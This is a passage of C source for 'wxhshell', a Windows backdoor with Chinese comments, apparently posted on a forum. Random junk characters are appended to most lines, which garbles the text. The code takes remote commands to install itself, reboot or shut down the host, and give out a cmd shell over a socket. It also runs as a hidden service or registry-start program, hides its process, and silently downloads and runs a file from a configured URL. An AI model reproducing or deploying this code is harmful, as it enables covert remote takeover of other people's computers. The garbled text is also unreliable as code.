  } p:|p?  
  else { gO! :WD  
*wz62p  
    switch(cmd[0]) { #!M;4~Sfx  
  HG})V PBa  
  // 帮助 9'\*Ip^  
  case '?': { ob=IaZ@?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9KZLlEk5O  
    break; g*:f#u5  
  } e&="5.ik  
  // 安装 /57)y_ \  
  case 'i': { q?Mmkh)g  
    if(Install())  *U4eL-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qVJC O-K|  
    else -M?s<R[&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); locf6%2g~  
    break; j&=!F3[  
    } Aj2yAg  
  // 卸载 H52] Zm  
  case 'r': { I!,FxOM|$  
    if(Uninstall()) J$i5A9IUr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W6uz G  
    else nrI-F,1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 09rbu\h  
    break; 5ayH5=(t  
    } D& #ph%U,P  
  // 显示 wxhshell 所在路径 Y[ toN9,  
  case 'p': { 1'[_J  
    char svExeFile[MAX_PATH]; tdB<  
    strcpy(svExeFile,"\n\r"); 5i1Xumh 4  
      strcat(svExeFile,ExeFile); ZZ{:f+=?$  
        send(wsh,svExeFile,strlen(svExeFile),0); }Z}4_/E  
    break; |B.tBt^  
    } '>5W`lZ  
  // 重启 FOd)zU*L2  
  case 'b': { =P<7tsSuoK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &p#.m"Oon  
    if(Boot(REBOOT)) N[AX]gOJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4F6U  
    else { VE5M}kDCZ  
    closesocket(wsh); RI jz7ZG  
    ExitThread(0); -XtDGNH F  
    } ,XNz.+Ov  
    break; ue{0X\[P<  
    } r%~/y  
  // 关机 (Y%pk76d  
  case 'd': { re\&'%~K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vi1= E])  
    if(Boot(SHUTDOWN)) E"$AOM?(*i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7LY4q/  
    else { F%pYnHr<  
    closesocket(wsh); op|/_I$  
    ExitThread(0); n[pW^&7x  
    } BiUbg6T.G  
    break; @'{m-?*  
    } q}mQm'  
  // 获取shell U(cV#@Y  
  case 's': { #Y;_W;#  
    CmdShell(wsh); X8(, ,>_  
    closesocket(wsh); @e_<OU  
    ExitThread(0); =tE7XC3X_  
    break; \d#|n u  
  } jN43vHm\Y9  
  // 退出 7Z+4F=2ff  
  case 'x': { u*J,3o} <  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1FiFP5  
    CloseIt(wsh); K7H` Yt  
    break; (\<#fkeH  
    } CPCjY|w7   
  // 离开 .A`Q!  
  case 'q': { 2'zYrdem  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {m/h3hjFa  
    closesocket(wsh); @] ` _+\y  
    WSACleanup(); WM_wkvY l  
    exit(1); ,KHebv!  
    break; \]eB(&nq  
        } OZ6g u$ n*  
  } -mlBr63Bj  
  } HG/`5$L +}  
S~mpXH@  
  // 提示信息 )ieT/0nt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W7QcDR y6  
} 2Po e-=  
  } " E U[Lb  
2.zx  
  return; QFm~wv 8:  
} q;p:)Q"  
MwN.Ll  
// shell模块句柄 ,dM}B-  
int CmdShell(SOCKET sock) ,Mp/Y>f  
{ ~a^"VQ5]ac  
STARTUPINFO si; JC6Bs`=s~  
ZeroMemory(&si,sizeof(si)); Rh:edQ #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  <V-D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rs0O4.yi;@  
PROCESS_INFORMATION ProcessInfo; jF}u%T)HL  
char cmdline[]="cmd"; CnT]u U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rG _T!']~  
  return 0; (c<MyuWb  
} V9tG2m Lf>  
Jf-4Q!  
// 自身启动模式 7r?s)ZV  
int StartFromService(void) CXr]V"X9  
{ YM*{^BXp  
typedef struct gxS*rzCG  
{ 1I*b7t  
  DWORD ExitStatus; WxB}Uh  
  DWORD PebBaseAddress; fP>*EDn@xg  
  DWORD AffinityMask; H +O7+=&  
  DWORD BasePriority; DRC2U%[  
  ULONG UniqueProcessId; jW^@lH EU  
  ULONG InheritedFromUniqueProcessId; ]\y:AkxhJ  
}   PROCESS_BASIC_INFORMATION; c5& _'&  
u&HLdSHe  
PROCNTQSIP NtQueryInformationProcess; 2`XG"[@  
s3sAw~++  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u/5 ^N^@^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ps@a@d"83  
[/ B$cH  
  HANDLE             hProcess; df=G}M(  
  PROCESS_BASIC_INFORMATION pbi; ' w^Md  
Hp2y sU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Cz8nG  
  if(NULL == hInst ) return 0; "w#jC ~J<W  
&jh'B ,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &QaFX,N"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cx.GEY|0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A.@S>H'P  
biJ"@dm 4  
  if (!NtQueryInformationProcess) return 0; 'gDhi!h%  
`@$qy&AJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +=v6 *%y"V  
  if(!hProcess) return 0; )*=ds ,  
.</`#   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w%(Ats  
G1t{a:  
  CloseHandle(hProcess); 5E|y5|8fb  
2UPqn#.3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6  XZF8W  
if(hProcess==NULL) return 0; nU{ }R"|  
`*5_`^t   
HMODULE hMod; <6_RWtU  
char procName[255]; ^XsIQz[q  
unsigned long cbNeeded; TC7Rw}jF  
j:)"s_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [YbnpI  
|~'PEY  
  CloseHandle(hProcess); R/&Ev$:  
5C}1iZEJ  
if(strstr(procName,"services")) return 1; // 以服务启动 ~(( '1+  
){u/v[O9"  
  return 0; // 注册表启动 +j*hbG=  
} Sm@T/+uG:  
n-/ {H4\  
// 主模块 cO]_5@#f'8  
int StartWxhshell(LPSTR lpCmdLine) $e bx  
{ 'jr\F2  
  SOCKET wsl; 'G6g yO/K  
BOOL val=TRUE; I\%a<  
  int port=0; S?ypka"L  
  struct sockaddr_in door; @WmEcX|  
}Zs y&K  
  if(wscfg.ws_autoins) Install(); '<}N`PS#N  
6FYO5=R  
port=atoi(lpCmdLine); ~]CQ DR:  
|\PI"rW  
if(port<=0) port=wscfg.ws_port; 381a(F[$e  
Ev adY  
  WSADATA data; P;.j5P^j`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eXN\w]GE  
;'E1yzX^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZtS>'W8l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6:Fb>|]*PY  
  door.sin_family = AF_INET; L_TM]0D>7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |@6t"P]@  
  door.sin_port = htons(port); :gD=F&V  
U3R;'80 f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MLbmz\8a  
closesocket(wsl); 5G >{*K/  
return 1; 9/?@2  
} }@Ap_xW  
Oz3JMZe  
  if(listen(wsl,2) == INVALID_SOCKET) { ~F gxhK2+  
closesocket(wsl); Ez\TwK  
return 1; k}MmgaT:5]  
} re]e4lZ  
  Wxhshell(wsl); }0Q_yuzx0m  
  WSACleanup(); FTVV+9.l:  
0Nvk|uI V[  
return 0; Bri yy  
Owe"x2D\  
} RM\A$.5  
K{]9Yo  
// 以NT服务方式启动 )=~OP>7B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c#-o@`Po  
{ v- 793pr  
DWORD   status = 0; z( 00"ei  
  DWORD   specificError = 0xfffffff; mE|?0mRA %  
zl a^j,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SauX C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RgB5'$x}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (hB+DPi  
  serviceStatus.dwWin32ExitCode     = 0; })?t:zX#*  
  serviceStatus.dwServiceSpecificExitCode = 0; DJ zJ$Q  
  serviceStatus.dwCheckPoint       = 0; F gi&CJ8Q  
  serviceStatus.dwWaitHint       = 0; HLlp+;CF><  
bdS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Ok@:Au  
  if (hServiceStatusHandle==0) return; Xr B)[kQ  
t<F*ODn  
status = GetLastError(); 8)Z)pCN  
  if (status!=NO_ERROR) -~Ll;}nZC  
{ ,/oqLI\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `RF0%Vm~t  
    serviceStatus.dwCheckPoint       = 0; ,Y) 7M3I  
    serviceStatus.dwWaitHint       = 0; _Se0,Uns  
    serviceStatus.dwWin32ExitCode     = status; C\3;o]  
    serviceStatus.dwServiceSpecificExitCode = specificError; &U.U<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |TQ#[9C0  
    return; 0~/'c0Ho  
  } })V^t3  
4r+@7hnK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %1oh+'ES F  
  serviceStatus.dwCheckPoint       = 0; sGAOK%28  
  serviceStatus.dwWaitHint       = 0; %0y_WIjz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D1ep7ykY  
} 43'!<[?x  
h4 X=d5qd  
// 处理NT服务事件,比如:启动、停止 m }J@w~#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k1.h|&JJN  
{ K*QRi/O  
switch(fdwControl) QWncKE,O$  
{ yhuzjn  
case SERVICE_CONTROL_STOP: M:PEY*4H  
  serviceStatus.dwWin32ExitCode = 0; HQy:,_f@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H Q_IQ+  
  serviceStatus.dwCheckPoint   = 0; ++gWyzD  
  serviceStatus.dwWaitHint     = 0; 762c`aP_(  
  { _ SuW86  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :{g;J  
  } &1 BACKu  
  return; 6zZT5 Kn  
case SERVICE_CONTROL_PAUSE: a'Vz|S G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?LwBF;Y  
  break; H(QbH)S$6  
case SERVICE_CONTROL_CONTINUE: ^oLMgz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PxvD0GTW  
  break; >WcOY7  
case SERVICE_CONTROL_INTERROGATE: "9^OT  
  break; (zmL MG(R  
}; CVAX?c{   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .7<6 zG6J  
} kgv29j?k;  
_?I6[Mz  
// 标准应用程序主函数 2gN78#d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RSTA!?K/.  
{ |uIgZ|7[  
k9*6`w  
// 获取操作系统版本 gb^<6BYUG  
OsIsNt=GetOsVer();  d5YL=o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W6A-/;S\  
%7S{g  
  // 从命令行安装 Bo4MoSF}  
  if(strpbrk(lpCmdLine,"iI")) Install(); nK8IW3fX9)  
kM;}$*?  
  // 下载执行文件 r+W;}nyf  
if(wscfg.ws_downexe) { %W8*vSbx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  r .`&z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4}r.g0L  
} cHAq[Ebp2!  
N?{.}-Q  
if(!OsIsNt) { 8o  SL3  
// 如果时win9x,隐藏进程并且设置为注册表启动 J?$`Tnx^  
HideProc(); 8=-/0y9,  
StartWxhshell(lpCmdLine); [W8"Mc|ve  
} tt03 gU`  
else qy( kb(J  
  if(StartFromService()) Jwtt&" c0.  
  // 以服务方式启动 B;A< pNT  
  StartServiceCtrlDispatcher(DispatchTable); C9j3|]nyL  
else L2Z-seE  
  // 普通方式启动 |I2~@RfpO:  
  StartWxhshell(lpCmdLine); Ywo=w:'  
MFtC2*  
return 0; r @URs;O=  
}
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只看该作者 1 发表于: 2006-10-10
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